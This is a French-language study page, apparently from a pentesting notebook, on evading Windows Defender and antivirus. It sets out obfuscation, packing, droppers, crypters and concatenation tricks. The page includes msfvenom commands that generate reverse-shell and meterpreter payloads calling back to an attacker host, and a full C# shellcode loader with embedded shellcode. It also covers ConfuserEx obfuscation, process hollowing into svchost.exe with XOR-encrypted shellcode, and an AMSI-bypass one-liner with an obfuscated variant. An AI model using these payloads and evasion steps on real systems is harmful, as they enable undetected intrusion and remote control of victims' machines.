# obfuscation / evasion

## 🛡️ Contourner Windows Defender&#x20;

### **Obfuscation (Obscurcissement) :**

* **Obscurcissement de Script :** Modifier l'apparence du script sans changer sa fonctionnalité. Des outils comme `Invoke-Obfuscation` peuvent aider avec les scripts PowerShell.
* **Obscurcissement d'Exécutable :** Utiliser des outils comme ConfuserEx pour les exécutables .NET ou d'autres obscurcisseurs pour changer la signature binaire.

**Packing (Empaquetage) :**

* **Empaqueter l'exécutable :** Compresser et obscurcir l'exécutable pour changer sa signature. Des outils comme UPX (Ultimate Packer for Executables) peuvent être utilisés.
* Des packers personnalisés peuvent également être utilisés pour éviter la détection basée sur des signatures statiques.

**Charges Utiles Personnalisées :**

* Générer des charges utiles avec des outils comme msfvenom en utilisant des modèles personnalisés ou l'encodage pour contourner la détection de signature.
* Utiliser des outils comme Shellter pour injecter des charges utiles dans des exécutables bénins.

**Techniques Living off the Land (LoL) :**

* Utiliser les outils et scripts intégrés à Windows pour atteindre vos objectifs sans télécharger de binaires supplémentaires. Cela peut inclure l'utilisation de PowerShell, mshta.exe ou regsvr32.exe.

**Malware sans Fichier :**

* Utiliser des techniques qui exécutent du code malveillant directement en mémoire sans écrire sur le disque. Cela peut inclure l'utilisation de PowerShell ou d'autres langages de script.

**Désactivation de Windows Defender :**

* Désactiver directement Windows Defender à l'aide de commandes ou de scripts. Cette méthode est généralement détectée et bloquée mais peut être réalisée avec des privilèges administratifs.

**Contournement d'AMSI (Antimalware Scan Interface) :**

* Injection en mémoire pour contourner l'AMSI, utilisé par Windows Defender pour analyser les scripts et le code en mémoire.

**Techniques Avancées :**

* **Accrochage et Décrochage :** Intercepter et modifier les appels d'API du système pour éviter la détection. Des outils comme Mimikatz utilisent ces techniques pour éviter la détection lors du vol de mots de passe.
* **Exploits en Mode Noyau :** Exploiter les vulnérabilités du noyau Windows pour exécuter du code malveillant avec des privilèges élevés.

#### Exemple : Utilisation de PowerShell pour Contourner Windows Defender

Voici un exemple d'utilisation de l'obscurcissement PowerShell pour éviter la détection :

*   **Outil Invoke-Obfuscation :**

    * Installer l'outil :

    ```powershell
    git clone https://github.com/danielbohannon/Invoke-Obfuscation
    cd Invoke-Obfuscation
    Import-Module .\Invoke-Obfuscation.psd1
    ```

    * Obscurcir un script simple :

    ```powershell
    Invoke-Obfuscation
    ```
* Exécuter les scripts obscurcis directement ou les injecter dans un autre processus pour éviter la détection.

***

L'obfuscation est le processus de rendre le code source d'un programme difficile à lire et à comprendre pour empêcher la détection ou la rétro-ingénierie.

{% embed url="https://www.infosecinstitute.com/resources/penetration-testing/antivirus-evasion-tools/?ref=blog.sublimesecurity.com" %}

{% embed url="https://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html?ref=blog.sublimesecurity.com" %}

## 📲 **Dropper**

Un **dropper** est un type de programme informatique malveillant qui sert à installer d'autres logiciels malveillants sur un ordinateur.

La partie malicieuce est contenue dans le **dropper**, à l'exécution de celui-ci, ce dernier "libère" le malware sur le système.

Les droppers sont conçus pour éviter la détection par les logiciels de sécurité. Ils peuvent utiliser des méthodes telles que l’obfuscation de leur code, l’exécution en mémoire sans écriture sur le disque, ou l’usurpation de processus de logiciels légitimes.

&#x20;Une fois installé, le logiciel malveillant prévu est soit décompressé, soit téléchargé depuis un serveur et installé sur l'ordinateur de la victime. Le logiciel malveillant se reconnecte généralement à l'infrastructure de l'attaquant. L'attaquant peut prendre le contrôle de l'ordinateur de la victime, ce qui lui permet d'explorer et d'exploiter davantage le réseau local.

Ils peuvent également contenir des fichiers inoffensifs destinés à masquer l'installation de logiciels malveillants.

Les droppers peuvent être persistants ou non persistants.

***

{% hint style="info" %}
Les méthodes de chiffrement et d'encodage intégrées à Metasploit sont souvent repérées par les antivirus. Pour améliorer la dissimulation des charges utiles, il est recommandé de **personnaliser** l'encodage à l'aide de **scripts** ou d'utiliser des [**packers**](#user-content-fn-1)[^1]. Ces approches créent des versions uniques des charges utiles, rendant leur détection par les antivirus plus difficile.
{% endhint %}

Techniques pour Bypass les antivirus :&#x20;

*   **Encodage (Encoding)** :

    Transformation de données dans un format différent sans les sécuriser.

    * **Exemple :** Convertir un texte en base64 pour le transmettre en toute sécurité sur Internet.
*   **Crypters (Cryptographie)** :

    Les crypters sont des programmes qui utilisent des techniques de cryptographie pour chiffrer ou masquer un fichier exécutable, souvent dans le but de le rendre indétectable par les logiciels de sécurité ou les antivirus. Le fichier chiffré nécessite une clé de déchiffrement pour être lu et exécuté correctement.

    * **Exemple :** Chiffrer un malware pour le rendre indétectable par les logiciels antivirus traditionnels.

Le chiffrement vise à rendre les données illisibles pour assurer leur confidentialité, tandis que l'encodage les transforme dans un format différent sans pour autant les sécuriser.

***

*   **Packing :** Compression et/ou chiffrement de fichiers pour les protéger ou les compresser.


* **Binder :** Fusion de plusieurs exécutables en un seul.
* Un "binder" fusionne plusieurs fichiers exécutables distincts en un seul, tandis qu'un "packing" compresse ou encapsule un fichier exécutable unique.
* Les "binders" sont souvent utilisés pour camoufler des programmes malveillants à l'intérieur d'applications légitimes, tandis que les "packers" sont utilisés pour rendre l'analyse de programmes plus difficile en compressant ou en modifiant leur structure interne

***

## 🖥️ Bypass windows defender (4.18.2205.7)

## Reverse shell Csharp obfuscer avec confuseEx (packer)

{% hint style="info" %}
ConfuseEx est un outil de protection du code source, souvent utilisé pour l'obfuscation du code dans les applications .NET.
{% endhint %}

**Étape 1 : Création de la Charge Utile sur l'Attaquant**

Utilisez `msfvenom` pour créer un payload reverse shell pour Windows en C# :

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your IP> LPORT=7478 -f csharp
```

**Étape 2 : Copier le Code Hexadécimal dans un Fichier .cs**

Copiez le code hexadécimal généré par `msfvenom` et collez-le dans un fichier .cs (fichier C#) en utilisant un éditeur de texte comme Notepad. Voici un exemple complet :

```csharp
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    byte[] shellcode = new byte[] {
      // Collez ici le code hexadécimal généré par msfvenom
      0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
      0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
      0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
      0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
      0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
      0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
      0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
      0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
      0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
      0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
      0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
      0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
      0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
      0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
      0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
      0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
      0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5
    };

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);
  }
}
```

Ce shell n'est pas indétectable car il utilise un code facilement reconnaissable par les solutions antivirus comme Windows Defender.

**Étape 3 : Obfuscation avec ConfuserEx**

Pour améliorer les chances de contourner Windows Defender, utilisez un outil d'obfuscation comme ConfuserEx :

1. **Téléchargez et installez ConfuserEx** depuis [GitHub](https://github.com/mkaring/ConfuserEx).
2. **Ouvrez ConfuserEx** et faites glisser votre fichier .cs sur l'interface.

**Étape 4 : Configurer les Paramètres dans ConfuserEx**

1. **Aller dans "Settings"** et choisissez votre payload.
2. **Cliquer sur le bouton "Plus" puis sur l'icône "Modifier"**.
3. **Choisir le** [**preset** ](#user-content-fn-2)[^2]**"Maximum"** et valider.

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FzUYmR8jTae1aWlLDJAfl%2Fconfuseex.png?alt=media&#x26;token=3bc1221c-abbd-4037-96e7-3132a08f2135" alt=""><figcaption></figcaption></figure>

**Étape 5 : Protéger le Payload**

1. **Dans l'onglet "Protect"**, cliquez sur "Protect" pour démarrer le processus d'obfuscation.
2. **Vérifiez la sortie** dans le dossier spécifié pour trouver votre payload obfusqué.

***

## Process hollowing chiffrage XOR (script personalisé):&#x20;

Le "process hollowing" consiste à créer un nouveau processus en mode suspendu, puis à vider son code exécutable légitime pour le remplacer par du code malveillant.&#x20;

Cela permet à l'attaquant d'exécuter son propre code dans un contexte qui semble légitime, rendant la détection de l'activité malveillante plus difficile.&#x20;

Après l'injection du code malveillant et la reprise du processus, il apparaît comme fonctionnant normalement pour les utilisateurs et les outils de sécurité, mais exécute secrètement des actions malveillantes en arrière-plan.

{% hint style="info" %}
Le but :&#x20;

1. **Création du Shellcode** : Utilisation de Metasploit pour générer un code malveillant.
2. **Cryptage XOR** : Cryptage du shellcode pour éviter la détection par les antivirus.
3. **Choix du Processus Parent** : Sélection d'un processus légitime, comme svchost.exe, pour cacher notre code malveillant.
4. **Injection dans le Processus** : Injection du code malveillant dans l'espace mémoire du processus parent.
5. **Exécution du Processus** : Relance du processus parent pour lancer notre code malveillant dans un environnement légitime.
{% endhint %}

**Sur l'attaquant :**

1. **Créer le Shellcode** :

Utilisez Metasploit Framework pour générer un shellcode. Pour cet exemple, nous allons générer un shellcode en C# pour une architecture Windows x64 avec une connexion reverse TCP. L'option `EXITFUNC=thread` est utilisée pour spécifier la méthode de sortie utilisée par le shellcode.

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attack-IP LPORT=4444 EXITFUNC=thread -f csharp
```

**Sur Windows :**

2. **Créer un Projet VScode**:

Dans un répertoire de votre choix (par exemple, "**Xor**"), ouvrez Visual Studio Code et créez un nouveau projet [DotNet ](#user-content-fn-3)[^3]en mode console avec la commande suivante :

```bash
dotnet new console
```

3. **Modifier le Fichier Program.cs** :

Dans le répertoire de votre projet, ouvrez le fichier `Program.cs` et remplacez le code existant par celui ci : (modifié le shellcode par celui généré par Metasploit).

{% embed url="https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/XOR%20Shellcode%20Encoder/Program.cs" %}

Ce code prend un tableau de bytes ([**buf**](#user-content-fn-4)[^4]), [**XOR** ](#user-content-fn-5)[^5]chaque byte avec la valeur hexadécimale 0xfa, puis imprime le résultat sous forme de tableau en langage C#.

4. **Compiler le Projet**:

Pour compiler le projet sous la forme d'un seul fichier exécutable intégrant ses librairies, utilisez la commande suivante :

```bash
dotnet publish -p:PublishSingleFile=true -r win-x64 -c Release --self-contained true -p:PublishTrimmed=true
```

5. **Exécuter le Fichier Exécutable** :

```bash
./Xor
```

6. **Créer un Autre Projet** :

Dans un nouveau répertoire de votre choix, créez un nouveau projet (par exemple process hollowing) en mode console avec la commande suivante :

```bash
dotnet new console
```

7. **Copier le Code Source** :

Dans le fichier `Program.cs` du projet nouvellement créé, remplacez le contenu par celui du fichier :&#x20;

{% embed url="https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs" %}

Ce code démarre le processus `svchost.exe` en état suspendu, trouve son point d'entrée dans la mémoire, remplace ce point d'entrée par un code malveillant, puis reprend le processus pour exécuter ce code malveillant.

8. **Modifier le Shellcode XORé** :

Dans le code source du fichier `Program.cs`, remplacez le buffer XORé par celui que vous avez généré précédemment.

9. **Compiler le Projet** :

Utilisez la commande suivante pour compiler le projet :

```bash
dotnet build
```

Assurez-vous que le projet se compile sans erreur.

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2Fs0cQcGHcQnVWvZiBqwEQ%2Fxor.png?alt=media&#x26;token=ba7c412b-69cd-42af-9f56-d7bf906dbef0" alt=""><figcaption></figcaption></figure>

10. **Exécuter le Projet** :

Pour exécuter le projet, utilisez la commande suivante :

```bash
dotnet run
```

Le processus de process hollowing sera exécuté, injectant le shellcode indétectable dans un processus cible.

{% hint style="info" %}
Ce code montre comment exécuter un programme malveillant (le "payload") dans la mémoire d'un autre processus, en remplaçant son point d'entrée. Voici une version simplifiée de ce que fait le code :

1. **Création d'un processus suspendu**: Un processus système (`svchost.exe`) est créé mais mis en pause pour éviter toute exécution immédiate.
2. **Localisation du point d'entrée du processus**: En utilisant des techniques de bas niveau, le code trouve où commence le programme dans la mémoire.
3. **Injection d'un code malveillant**: Un morceau de code XORé est inséré dans la mémoire du processus.
4. **Démarrage de l'exécution du code malveillant**: Le processus est réveillé et commence à exécuter le code malveillant.
{% endhint %}

***

## Concaténation :

La concaténation est une technique de programmation courante qui combine deux objets séparés en un seul objet, comme une chaîne de caractères.

**Exemple en Python :**

```python
A = "Hello "
B = "THM"
C = A + B
print(C)  # Output: Hello THM
```

**Opérateurs de Concatenation par Langage**

| Langage    | Opérateur de Concatenation          |
| ---------- | ----------------------------------- |
| Python     | `+`                                 |
| PowerShell | `+`, `,`, `$`, ou aucun opérateur   |
| C#         | `+`, `String.Join`, `String.Concat` |
| C          | `strcat`                            |
| C++        | `+`, `append`                       |

**Utilisation de la Concatenation dans les Malwares**

Les attaquants peuvent utiliser la concaténation pour modifier les signatures statiques ou manipuler d'autres aspects d'une application, ce qui permet d'échapper à la détection par des outils comme Yara.



**Caractères non interprétés pour l'Obfuscation**

| Caractère   | But                                                  | Exemple                   |
| ----------- | ---------------------------------------------------- | ------------------------- |
| Breaks      | Divise une chaîne en sous-chaînes                    | ('co'+'ffe'+'e')          |
| Reorders    | Réorganise les composants d'une chaîne               | ('{1}{0}'-f'ffee','co')   |
| Whitespace  | Inclut des espaces blancs non interprétés            | .( 'Ne' +'w-Ob' + 'ject') |
| Ticks       | Inclut des accents graves non interprétés            | d`own`LoAd`Stri`ng        |
| Random Case | Utilise une casse aléatoire, non sensible à la casse | dOwnLoAdsTRing            |

**Exemple d'Obfuscation de Code PowerShell**

**Code original :**

```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

**Code obfusqué :**

```powershell
$Value="SetValue"
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic').$Value($null,$true)
```

***

## Pour alller plus loins ...

Les adversaires peuvent utiliser des techniques d'obfuscation avancées, basées sur la logique et les mathématiques, pour créer un code plus complexe et plus difficile à comprendre, afin de lutter contre l'analyse et le reverse engineers .

| Sous-couche d'obfuscation | Méthode d'obfuscation       | But                                                                                                      |
| ------------------------- | --------------------------- | -------------------------------------------------------------------------------------------------------- |
| Obfuscating Data          | Array Transformation        | Transformer un tableau en le divisant, en le fusionnant, en le pliant ou en l'aplatissant                |
|                           | Data Encoding               | Encoder des données à l'aide de fonctions mathématiques ou de chiffrements                               |
|                           | Data Procedurization        | Remplacer des données statiques par des appels de procédure                                              |
|                           | Data Splitting/Merging      | Distribuer les informations d'une variable dans plusieurs nouvelles variables                            |
| Obfuscating Layout        | Junk Code                   | Ajouter des instructions non fonctionnelles, également connues sous le nom de code stubs                 |
|                           | Separation of Related Code  | Séparer les codes ou les instructions liées pour augmenter la difficulté de lecture du programme         |
|                           | Stripping Redundant Symbols | Supprimer les informations symboliques telles que les informations de débogage ou les tables de symboles |
|                           | Meaningless Identifiers     | Transformer un identifiant significatif en quelque chose d'insignifiant                                  |
| Obfuscating Controls      | Implicit Controls           | Convertir des instructions de contrôle explicites en instructions implicites                             |
|                           | Dispatcher-based Controls   | Déterminer le bloc suivant à exécuter pendant le temps d'exécution                                       |
|                           | Probabilistic Control Flows | Introduire des réplications de flux de contrôle avec la même sémantique mais une syntaxe différente      |
|                           | Bogus Control Flows         | Ajouter des flux de contrôle délibérément à un programme mais qui ne seront jamais exécutés              |

{% embed url="https://bruteratel.com/" %}

***

## Tools

{% embed url="https://github.com/KDot227/SomalifuscatorV2" %}
SomalifuscatorV2 est un outil open-source conçu pour l'obfuscation de scripts en Python.
{% endembed %}

{% embed url="https://github.com/GabrieleAsaro/SimpleObfuscator" %}
SimpleObfuscator est un outil open-source conçu pour l'obfuscation de code dans les environnements .NET
{% endembed %}

&#x20;

***

{% embed url="https://www.neushield.com/learn/fully-undetectable-fud/" %}

FUD fully undetectable afaire

[^1]: les packers sont des outils de sécurité informatique utilisés pour compresser, crypter et/ou encoder des fichiers exécutables afin de rendre leur analyse plus difficile

[^2]: "preset" est un ensemble prédéfini de paramètres de protection qui déterminent comment l'outil va obfusquer le code.&#x20;



    None :aucune protection.&#x20;



    Minimum :Applique les protections de base, fournissant un niveau minimal d'obfuscation.&#x20;

    ect...

[^3]: .NET est un framework de développement logiciel développé par Microsoft.

[^4]: buf" est une variable qui représente un tableau de bytes. Un "buf" est généralement utilisé pour stocker des données brutes en mémoire

[^5]: XOR est une opération logique qui est souvent utilisée en cryptographie pour chiffrer ou masquer des données.



    * 0 XOR 0 = 0
    * 0 XOR 1 = 1
    * 1 XOR 0 = 1
    * 1 XOR 1 = 0
